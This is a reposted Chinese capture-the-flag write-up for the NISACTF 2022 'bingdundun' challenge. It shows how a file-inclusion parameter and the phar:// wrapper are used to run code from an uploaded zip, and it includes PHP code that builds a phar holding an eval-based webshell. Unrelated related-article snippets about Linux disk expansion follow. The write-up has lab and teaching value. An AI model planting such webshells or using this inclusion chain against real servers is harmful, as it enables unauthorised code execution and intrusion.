[NISACTF 2022]bingdundun

这篇具有很好参考价值的文章主要介绍了[NISACTF 2022]bingdundun。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

1. 进入靶场环境,提示upload,应该是一个文件上传与文件包含相关的题目。

服务器中根目录下的flag值是多少?,CTF,WEB,安全,web安全

2. 点击upload进入文件上传页面。看到url有一个bingdundun的get传参,我们尝试传入其他值尝试一下。

服务器中根目录下的flag值是多少?,CTF,WEB,安全,web安全

3. 尝试传入index,发现index页面的内容被大量包含进来,并且会自动在后面添加.php

服务器中根目录下的flag值是多少?,CTF,WEB,安全,web安全

4. 在看文件上传点提示可以传图片或压缩包,因此考虑php伪协议中的phar协议或zip协议。首先写一个phpinfo()脚本,打成zip压缩包并上传,上传成功后利用phar协议包含压缩包中的脚本文件,发现脚本中的php代码被成功包含进来并被当作代码执行了。

服务器中根目录下的flag值是多少?,CTF,WEB,安全,web安全

服务器中根目录下的flag值是多少?,CTF,WEB,安全,web安全

获取flag方法

方法一:

利用phar协议读取上传一句话木马,用菜刀链接。

http://1.14.71.254:28884/?bingdundun=phar://23de81832e6ba264115a6192202105f7.zip/reqma

服务器中根目录下的flag值是多少?,CTF,WEB,安全,web安全

服务器中根目录下的flag值是多少?,CTF,WEB,安全,web安全

方法二:

构造phar文件,phar文件包含我们想要执行的代码,由于index页面提示,flag就在根目录下,因此如果能直接执行cat /flag 就能出结果了。

构造phar文件方法

  1. 修改php.ini 让phar.readonly 改成off。
  2. 创建一个pharfile.php文件,代码如下,用于生成phar包
<?php
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->addFromString("pharfile.php", '<?php eval($_REQUEST["ps"]);?>');
$phar->stopBuffering();
?>

3. 浏览器访问该文件,在同目录下会生成exp.phar文件。复制一份改成zip格式,然后上传

服务器中根目录下的flag值是多少?,CTF,WEB,安全,web安全

4. phar://协议将文件包含到当前页面,然后给ps参数传入想要执行的代码值,执行成功。

服务器中根目录下的flag值是多少?,CTF,WEB,安全,web安全

5. 根据代码提示flag在根目录下,因此构造url得到flag。

服务器中根目录下的flag值是多少?,CTF,WEB,安全,web安全文章来源地址https://www.toymoban.com/news/detail-692552.html

到了这里,关于[NISACTF 2022]bingdundun的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • ubuntu20根目录扩容

    ubuntu根目录/ 或者 /home文件夹有时出现空间满了的情况,可以用gparted工具进行空间的重新分配。 首先,如果你是双系统,需要从windows系统下磁盘压缩分配一部分未使用的空间给ubuntu,注意压缩的空间要邻接ubuntu所在盘的位置。 如果仅仅是把/home文件夹的空间分给/ ,则不需要

    2024年01月25日
    浏览(33)
  • Docker修改默认根目录

    Docker安装后的默认根目录在/var/lib/docker,修改根目录的方法如下: 1、使用docker info查看默认的目录 2、确保停止docker服务 3、修改docker服务启动文件(docker.service ) 4、同步docker根目录数据到新目录 5、重新加载配置并启动 6、查看修改后的docker信息 如果能看到Docker Root Dir: /

    2024年02月13日
    浏览(30)
  • centos 下扩容根目录

    大体情况: 在VM虚拟机上安装了移动云的BCLinux镜像,磁盘设定为8G,但是用过一段时间之后根目录下磁盘已满,无法创建文件夹等操作,因此在VM上进行了磁盘扩容,扩容之后需要在系统上自行挂载,使用mount /dev/sda3 /无法挂载到根目录上,查询了各种博客,终于在根目录上扩

    2024年02月10日
    浏览(30)
  • Ubuntu 扩展 LVM 根目录

    1. 查看当前空间使用情况 结果 查看逻辑分组情况 结果 查看磁盘情况 结果 查看块关联情况 结果 2. /dev/sdb 重新分区 结果 输入 m 回车 结果 输入 n 回车 结果 输入 p 回车 结果 输入 1 回车 结果 直接回车 结果 再回车 结果 输入 w 保存分区表 回车 结果 重新读取分区表 没有输出

    2024年02月10日
    浏览(30)
  • linux系统根目录动态扩容

    前提:虚拟机系统根目录占用40GB,创建vm时磁盘大小给120GB 1. 将剩余空间分区 2. 创建pv 3.vg(centos)扩容

    2024年02月07日
    浏览(49)
  • centos7 根目录扩容

    需求         将测试环境根目录扩容到47G 具体操作 1.添加一块硬盘 我们新添加了一块30G的硬盘 2.查看本机磁盘环境 lsblk 我们可以看到根目录总容量为17G,新添加的设备sdb为30G  添加磁盘分区 fdisk /dev/sdb 创建分区: 查看分区信息是否创建:   可以看见sdb1分区已创建。

    2023年04月26日
    浏览(43)
  • Jupyter Notebook 配置根目录

    注:本文是在 Windows 10 上配置 Jupyter Notebook 打开的默认根目录,Linux 同。 使用以下命令创建 Jupyter Notebook 配置文件(如果尚未创建): 这将在用户文件夹下的 .jupyter 文件夹中创建一个名为 jupyter_notebook_config.py 的配置文件。 在配置文件中,找到以下行: 去掉注释 # 并在引号

    2024年02月11日
    浏览(41)
  • Centos给根目录扩容教程

    今天在使用nacos服务时发现怎么操作都会报错,原因是磁盘空间已满,正好有时间,研究一下怎么对Centos进行扩容 1、首先,通过命令df -h 观察磁盘占用情况 可以发现根目录已经被写满了,这会导致所有写操作都无法进行 2、先关闭虚拟机,然后在VMware的设置中选择添加一块新

    2024年04月16日
    浏览(39)
  • React配置src根目录@

    yarn eject or npm run eject 如果报错了记得提前 git commit 一下 找到 webpack.config.js 文件 在 webpack.config.js 文件中找到 alias 配置 在alias里添加 \\\'@\\\': path.resolve(\\\'src\\\') , 或者 \\\'@\\\': path.join(__dirname,\\\'../src\\\') , 重新 npm start 即可

    2024年01月20日
    浏览(54)
  • Linux挂载新磁盘到根目录/

    1、添加磁盘到需要挂载的机器上 2、lsblk查看硬盘挂载情况,sdb,sdc为我新挂载的磁盘 3、fdisk -l查看挂载之前的分区情况, 4、为新硬盘创建分区 fdisk /dev/sdb, 终端会提示: Command (m for help):输入:n 依次输入p 和 1 接着便会提示卷的起始地址和结束地址,都保持默认按回车

    2024年02月06日
    浏览(38)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包